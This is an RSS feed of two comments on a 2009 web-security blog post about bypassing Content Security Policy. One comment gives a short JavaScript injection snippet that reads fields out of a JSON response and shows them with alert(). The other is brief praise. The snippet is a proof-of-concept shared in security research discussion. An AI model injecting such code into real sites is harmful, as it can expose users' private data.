<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Bypassing CSP for fun, no profit</title>
	<atom:link href="http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/</link>
	<description>Javascript blog with messed up syntax inside</description>
	<lastBuildDate>Thu, 26 Jan 2012 01:38:34 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
	<item>
		<title>By: luoluo</title>
		<link>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/#comment-1651</link>
		<dc:creator>luoluo</dc:creator>
		<pubDate>Thu, 03 Dec 2009 15:03:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=545#comment-1651</guid>
		<description>Good idea!

And we can get the data from the json by injecting the code:

[{&#039;friend&#039;:&#039;luke&#039;,&#039;email&#039;:&#039;&#039;}, 1].sort(function(x,y) {
	for (var o in x) {
		alert(o + &quot;:&quot; + x[o]);
	}
});
setTimeout(function() {
	var x = data[0];
	
	for (var o in x) {
		alert(o + &quot;:&quot; + x[o]);
	}
}, 100);var data=[{&#039;job&#039;:&#039;done&#039;}];</description>
		<content:encoded><![CDATA[<p>Good idea!</p>
<p>And we can get the data from the json by injecting the code:</p>
<p>[{'friend':'luke','email':''}, 1].sort(function(x,y) {<br />
	for (var o in x) {<br />
		alert(o + &#8220;:&#8221; + x[o]);<br />
	}<br />
});<br />
setTimeout(function() {<br />
	var x = data[0];</p>
<p>	for (var o in x) {<br />
		alert(o + &#8220;:&#8221; + x[o]);<br />
	}<br />
}, 100);var data=[{'job':'done'}];</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michal Wiczynski</title>
		<link>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/#comment-1635</link>
		<dc:creator>Michal Wiczynski</dc:creator>
		<pubDate>Mon, 23 Nov 2009 11:38:08 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=545#comment-1635</guid>
		<description>Nice one!</description>
		<content:encoded><![CDATA[<p>Nice one!</p>
]]></content:encoded>
	</item>
</channel>
</rss>

